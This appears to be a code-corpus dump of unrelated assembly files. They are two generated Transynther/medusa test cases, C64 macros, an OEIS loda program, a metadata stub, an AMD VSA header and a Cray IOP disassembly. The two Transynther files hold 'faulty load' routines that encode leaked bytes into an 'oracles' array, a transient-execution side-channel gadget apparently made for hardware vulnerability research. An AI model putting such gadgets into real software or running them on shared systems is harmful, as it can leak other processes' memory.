Assembly
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_1775.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_1775.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_1775.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r13
push %r14
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x6a6c, %rsi
lea addresses_A_ht+0x44e4, %rdi
nop
nop
dec %r13
mov $116, %rcx
rep movsb
nop
nop
nop
mfence
lea addresses_WT_ht+0x15078, %r12
nop
nop
nop
nop
dec %r14
movl $0x61626364, (%r12)
nop
cmp $38045, %r14
lea addresses_WC_ht+0x18ae4, %rsi
lea addresses_UC_ht+0x12f54, %rdi
and $17584, %r11
mov $111, %rcx
rep movsb
nop
nop
and $30986, %r13
lea addresses_WC_ht+0x1de64, %r11
nop
and %rsi, %rsi
mov (%r11), %r13d
nop
nop
inc %rcx
lea addresses_WC_ht+0x848c, %rbx
nop
add $43132, %r12
mov $0x6162636465666768, %r11
movq %r11, %xmm1
movups %xmm1, (%rbx)
nop
nop
nop
cmp %rsi, %rsi
lea addresses_D_ht+0x8a64, %r12
nop
nop
dec %rbx
mov (%r12), %r13d
nop
nop
nop
nop
add %r12, %r12
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r14
pop %r13
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r8
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
// REPMOV
mov $0xcac, %rsi
lea addresses_WC+0x9264, %rdi
nop
nop
nop
nop
nop
add $23250, %r8
mov $9, %rcx
rep movsl
nop
nop
nop
nop
nop
and %rdi, %rdi
// Faulty Load
lea addresses_WT+0x10264, %rsi
nop
nop
nop
nop
nop
and %rbp, %rbp
mov (%rsi), %r11w
lea oracles, %rbp
and $0xff, %r11
shlq $12, %r11
mov (%rbp,%r11,1), %r11
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT', 'NT': True, 'AVXalign': False, 'size': 16, 'congruent': 0}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_P'}, 'dst': {'same': False, 'congruent': 11, 'type': 'addresses_WC'}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': True, 'congruent': 0, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 7, 'type': 'addresses_A_ht'}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 1}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_UC_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 3}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 11}}
{'39': 21829}
39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
*/
| 39.692308
| 2,999
| 0.660148
|
55dc3b956e5b8ab8b147f3f2e9d9a9a897e5a1f2
| 604
|
asm
|
Assembly
|
src/macros.asm
|
unlink2/vicgol
|
86ffc9e83ace128254271fc3d03f60b3331451a6
|
[
"MIT"
] | null | null | null |
src/macros.asm
|
unlink2/vicgol
|
86ffc9e83ace128254271fc3d03f60b3331451a6
|
[
"MIT"
] | null | null | null |
src/macros.asm
|
unlink2/vicgol
|
86ffc9e83ace128254271fc3d03f60b3331451a6
|
[
"MIT"
] | null | null | null |
fn getScreenBank(banknum) {
return SCREEN_BANK+banknum*SCREEN_BANK_OFFSET;
}
fn defstrScreenCodeC64(str) {
for (let i = 0; i < len(str); i = i + 1) {
let c = str[i];
if ((c >= 64 && c <= 95) || (c >= 160 && c <= 191)) {
db c-64;
} else if (c >= 31 && c <= 63) {
db c;
}
// TODO add the rest (https://sta.c64.org/cbm64scrtopet.html)
}
}
fn strcpy(src, dest) {
lda #lo(src);
sta srcPtr;
lda #hi(src);
sta srcPtr+1;
lda #lo(dest);
sta destPtr;
lda #hi(dest);
sta destPtr+1;
jsr gol_strcpy;
}
| 20.827586
| 69
| 0.491722
|
3185fba757fb635ab6096be7b187a6a07c6a5086
| 501
|
asm
|
Assembly
|
programs/oeis/094/A094207.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/094/A094207.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/094/A094207.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A094207: a(n) = prime(4n-3) + prime(4n-2) + prime(4n-1) + prime(4n).
; 17,60,120,184,258,324,408,480,576,660,744,830,928,1012,1098,1194,1298,1408,1502,1596,1704,1788,1870,1980,2094,2236,2328,2420,2508,2602,2694,2820,2942,3038,3166,3282,3378,3480,3588,3726,3838,3948,4062,4152,4244
mov $3,2
mov $4,$0
lpb $3
mov $0,$4
sub $3,1
add $0,$3
mul $0,4
max $0,0
seq $0,7504 ; Sum of the first n primes.
mov $2,$3
mul $2,$0
add $1,$2
mov $5,$0
lpe
min $4,1
mul $4,$5
sub $1,$4
mov $0,$1
| 22.772727
| 211
| 0.628743
|
dc13ab600ddea53d3b685c84e5bdf20f0e9aecb3
| 145
|
asm
|
Assembly
|
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/フランス_PAL/Fra_asm1/zel_dsub.asm
|
prismotizm/gigaleak
|
d082854866186a05fec4e2fdf1def0199e7f3098
|
[
"MIT"
] | null | null | null |
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/フランス_PAL/Fra_asm1/zel_dsub.asm
|
prismotizm/gigaleak
|
d082854866186a05fec4e2fdf1def0199e7f3098
|
[
"MIT"
] | null | null | null |
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/フランス_PAL/Fra_asm1/zel_dsub.asm
|
prismotizm/gigaleak
|
d082854866186a05fec4e2fdf1def0199e7f3098
|
[
"MIT"
] | null | null | null |
Name: zel_dsub.asm
Type: file
Size: 7813
Last-Modified: '2016-05-13T04:20:48Z'
SHA-1: 5D94CDC5F95E2010C6987D5FD7868A744455573C
Description: null
| 20.714286
| 47
| 0.813793
|
d2083c0c4398831de4ac38bbda7deeac0f3451d1
| 1,479
|
asm
|
Assembly
|
firmware/coreboot/3rdparty/blobs/cpu/amd/geode_lx/gplvsa_ii/legacy/header.asm
|
fabiojna02/OpenCellular
|
45b6a202d6b2e2485c89955b9a6da920c4d56ddb
|
[
"CC-BY-4.0",
"BSD-3-Clause"
] | 1
|
2019-11-04T07:11:25.000Z
|
2019-11-04T07:11:25.000Z
|
firmware/coreboot/3rdparty/blobs/cpu/amd/geode_lx/gplvsa_ii/legacy/header.asm
|
fabiojna02/OpenCellular
|
45b6a202d6b2e2485c89955b9a6da920c4d56ddb
|
[
"CC-BY-4.0",
"BSD-3-Clause"
] | 13
|
2018-10-12T21:29:09.000Z
|
2018-10-25T20:06:51.000Z
|
firmware/coreboot/3rdparty/blobs/cpu/amd/geode_lx/gplvsa_ii/legacy/header.asm
|
fabiojna02/OpenCellular
|
45b6a202d6b2e2485c89955b9a6da920c4d56ddb
|
[
"CC-BY-4.0",
"BSD-3-Clause"
] | null | null | null |
;
; Copyright (c) 2006-2008 Advanced Micro Devices,Inc. ("AMD").
;
; This library is free software; you can redistribute it and/or modify
; it under the terms of the GNU Lesser General Public License as
; published by the Free Software Foundation; either version 2.1 of the
; License, or (at your option) any later version.
;
; This code is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
; Lesser General Public License for more details.
;
; You should have received a copy of the GNU Lesser General
; Public License along with this library; if not, write to the
; Free Software Foundation, Inc., 59 Temple Place, Suite 330,
; Boston, MA 02111-1307 USA
;
;* Function: *
;* This file contains the VSM header for the legacy VSM
.model tiny,c
.586
.CODE
include VSA2.INC
externdef edata:proc
externdef _end:proc
externdef VSM_msg_loop:proc
public VSM_Hdr
VSM_Hdr:
dd VSM_SIGNATURE ; VSM signature
db VSM_LEGACY ; VSM type
db 0FFh ; Any CPU
dw 0FFFFh ; Any Chipset
dw 0106h ; VSM version
dd OFFSET edata ; Size of VSM module
dw OFFSET VSM_msg_loop ; EntryPoint
dd OFFSET _end ; DS Limit
dw 0000h ; Requirements
dw VSA_VERSION ; VSA version
db sizeof(VSM_Header) - ($-VSM_Hdr) dup (0)
END
| 27.388889
| 73
| 0.678837
|
c8132373fdc0680ed61a2f3008b22a93c1a3e8a7
| 5,297
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1039.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1039.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1039.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r14
push %r15
push %r8
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0xf477, %rsi
lea addresses_normal_ht+0xc093, %rdi
nop
nop
nop
nop
inc %r15
mov $90, %rcx
rep movsq
nop
nop
nop
nop
nop
dec %r14
lea addresses_UC_ht+0x176f7, %r13
nop
nop
add $6913, %r8
movw $0x6162, (%r13)
nop
nop
nop
nop
add %rcx, %rcx
lea addresses_WC_ht+0xca07, %r14
nop
nop
nop
and $55058, %r15
movb (%r14), %r13b
nop
nop
nop
nop
nop
xor $22616, %r14
lea addresses_A_ht+0x8af7, %rsi
nop
nop
nop
nop
sub %rcx, %rcx
mov (%rsi), %r8d
nop
nop
nop
nop
dec %rcx
pop %rsi
pop %rdi
pop %rcx
pop %r8
pop %r15
pop %r14
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r14
push %r9
push %rax
push %rbp
push %rcx
push %rdi
push %rdx
// Store
mov $0xef7, %rdi
nop
nop
nop
nop
nop
inc %rdx
movw $0x5152, (%rdi)
nop
nop
cmp %rax, %rax
// Load
lea addresses_A+0xb2f7, %r9
nop
nop
dec %r14
movb (%r9), %al
nop
nop
nop
and %r9, %r9
// Faulty Load
lea addresses_RW+0x1d2f7, %rdi
nop
nop
nop
nop
nop
cmp $30256, %rbp
mov (%rdi), %cx
lea oracles, %rdi
and $0xff, %rcx
shlq $12, %rcx
mov (%rdi,%rcx,1), %rcx
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r14
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'}
{'dst': {'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 10, 'same': False, 'type': 'addresses_P'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 11, 'same': False, 'type': 'addresses_A'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': True, 'type': 'addresses_RW'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 7, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 10, 'same': True, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 4, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 10, 'same': True, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
| 37.835714
| 2,999
| 0.656598
|
d1c3ad95ed344f40b112de717f05d175222d236a
| 16,720
|
asm
|
Assembly
|
target/cos_117/disasm/iop_overlay1/TRRDF.asm
|
jrrk2/cray-sim
|
52c9639808d6890517092637b188282c00cce4f7
|
[
"BSL-1.0"
] | 49
|
2020-10-09T12:29:16.000Z
|
2022-03-12T02:33:35.000Z
|
target/cos_117/disasm/iop_overlay1/TRRDF.asm
|
jrrk2/cray-sim
|
52c9639808d6890517092637b188282c00cce4f7
|
[
"BSL-1.0"
] | 1
|
2021-12-29T15:59:25.000Z
|
2021-12-29T15:59:25.000Z
|
target/cos_117/disasm/iop_overlay1/TRRDF.asm
|
jrrk2/cray-sim
|
52c9639808d6890517092637b188282c00cce4f7
|
[
"BSL-1.0"
] | 6
|
2021-04-12T06:10:32.000Z
|
2022-02-08T23:11:19.000Z
|
0x0000 (0x000000) 0x3119- f:00030 d: 281 | A = (OR[281])
0x0001 (0x000002) 0x0E01- f:00007 d: 1 | A = A << 1 (0x0001)
0x0002 (0x000004) 0x0A08- f:00005 d: 8 | A = A < 8 (0x0008)
0x0003 (0x000006) 0x1400- f:00012 d: 0 | A = A + 0 (0x0000)
0x0004 (0x000008) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009)
0x0005 (0x00000A) 0x3919- f:00034 d: 281 | (OR[281]) = A
0x0006 (0x00000C) 0x3119- f:00030 d: 281 | A = (OR[281])
0x0007 (0x00000E) 0x0E02- f:00007 d: 2 | A = A << 2 (0x0002)
0x0008 (0x000010) 0x0A01- f:00005 d: 1 | A = A < 1 (0x0001)
0x0009 (0x000012) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x000A (0x000014) 0x0C03- f:00006 d: 3 | A = A >> 3 (0x0003)
0x000B (0x000016) 0x3919- f:00034 d: 281 | (OR[281]) = A
0x000C (0x000018) 0x3119- f:00030 d: 281 | A = (OR[281])
0x000D (0x00001A) 0x0E03- f:00007 d: 3 | A = A << 3 (0x0003)
0x000E (0x00001C) 0x0A01- f:00005 d: 1 | A = A < 1 (0x0001)
0x000F (0x00001E) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x0010 (0x000020) 0x0C04- f:00006 d: 4 | A = A >> 4 (0x0004)
0x0011 (0x000022) 0x3919- f:00034 d: 281 | (OR[281]) = A
0x0012 (0x000024) 0x3119- f:00030 d: 281 | A = (OR[281])
0x0013 (0x000026) 0x0E04- f:00007 d: 4 | A = A << 4 (0x0004)
0x0014 (0x000028) 0x0A01- f:00005 d: 1 | A = A < 1 (0x0001)
0x0015 (0x00002A) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x0016 (0x00002C) 0x0C05- f:00006 d: 5 | A = A >> 5 (0x0005)
0x0017 (0x00002E) 0x3919- f:00034 d: 281 | (OR[281]) = A
0x0018 (0x000030) 0x3119- f:00030 d: 281 | A = (OR[281])
0x0019 (0x000032) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00)
0x001B (0x000036) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x001C (0x000038) 0x3919- f:00034 d: 281 | (OR[281]) = A
0x001D (0x00003A) 0x2119- f:00020 d: 281 | A = OR[281]
0x001E (0x00003C) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x001F (0x00003E) 0x2908- f:00024 d: 264 | OR[264] = A
0x0020 (0x000040) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0021 (0x000042) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0022 (0x000044) 0x2119- f:00020 d: 281 | A = OR[281]
0x0023 (0x000046) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x0024 (0x000048) 0x2908- f:00024 d: 264 | OR[264] = A
0x0025 (0x00004A) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0026 (0x00004C) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0027 (0x00004E) 0x2119- f:00020 d: 281 | A = OR[281]
0x0028 (0x000050) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003)
0x0029 (0x000052) 0x2908- f:00024 d: 264 | OR[264] = A
0x002A (0x000054) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x002B (0x000056) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x002C (0x000058) 0x2118- f:00020 d: 280 | A = OR[280]
0x002D (0x00005A) 0x1400- f:00012 d: 0 | A = A + 0 (0x0000)
0x002E (0x00005C) 0x291A- f:00024 d: 282 | OR[282] = A
0x002F (0x00005E) 0x2118- f:00020 d: 280 | A = OR[280]
0x0030 (0x000060) 0x142C- f:00012 d: 44 | A = A + 44 (0x002C)
0x0031 (0x000062) 0x291B- f:00024 d: 283 | OR[283] = A
0x0032 (0x000064) 0x211B- f:00020 d: 283 | A = OR[283]
0x0033 (0x000066) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003)
0x0034 (0x000068) 0x2908- f:00024 d: 264 | OR[264] = A
0x0035 (0x00006A) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0036 (0x00006C) 0x291C- f:00024 d: 284 | OR[284] = A
0x0037 (0x00006E) 0x2118- f:00020 d: 280 | A = OR[280]
0x0038 (0x000070) 0x1438- f:00012 d: 56 | A = A + 56 (0x0038)
0x0039 (0x000072) 0x2908- f:00024 d: 264 | OR[264] = A
0x003A (0x000074) 0x3108- f:00030 d: 264 | A = (OR[264])
0x003B (0x000076) 0x291D- f:00024 d: 285 | OR[285] = A
0x003C (0x000078) 0x2118- f:00020 d: 280 | A = OR[280]
0x003D (0x00007A) 0x1439- f:00012 d: 57 | A = A + 57 (0x0039)
0x003E (0x00007C) 0x2908- f:00024 d: 264 | OR[264] = A
0x003F (0x00007E) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0040 (0x000080) 0x291E- f:00024 d: 286 | OR[286] = A
0x0041 (0x000082) 0x211E- f:00020 d: 286 | A = OR[286]
0x0042 (0x000084) 0x251C- f:00022 d: 284 | A = A + OR[284]
0x0043 (0x000086) 0x291E- f:00024 d: 286 | OR[286] = A
0x0044 (0x000088) 0x8002- f:00100 d: 2 | P = P + 2 (0x0046), C = 0
0x0045 (0x00008A) 0x2D1D- f:00026 d: 285 | OR[285] = OR[285] + 1
0x0046 (0x00008C) 0x1026- f:00010 d: 38 | A = 38 (0x0026)
0x0047 (0x00008E) 0x2923- f:00024 d: 291 | OR[291] = A
0x0048 (0x000090) 0x211D- f:00020 d: 285 | A = OR[285]
0x0049 (0x000092) 0x2924- f:00024 d: 292 | OR[292] = A
0x004A (0x000094) 0x211E- f:00020 d: 286 | A = OR[286]
0x004B (0x000096) 0x2925- f:00024 d: 293 | OR[293] = A
0x004C (0x000098) 0x211A- f:00020 d: 282 | A = OR[282]
0x004D (0x00009A) 0x2926- f:00024 d: 294 | OR[294] = A
0x004E (0x00009C) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x004F (0x00009E) 0x2927- f:00024 d: 295 | OR[295] = A
0x0050 (0x0000A0) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0051 (0x0000A2) 0x2928- f:00024 d: 296 | OR[296] = A
0x0052 (0x0000A4) 0x1123- f:00010 d: 291 | A = 291 (0x0123)
0x0053 (0x0000A6) 0x5800- f:00054 d: 0 | B = A
0x0054 (0x0000A8) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0055 (0x0000AA) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0056 (0x0000AC) 0x2118- f:00020 d: 280 | A = OR[280]
0x0057 (0x0000AE) 0x1407- f:00012 d: 7 | A = A + 7 (0x0007)
0x0058 (0x0000B0) 0x2908- f:00024 d: 264 | OR[264] = A
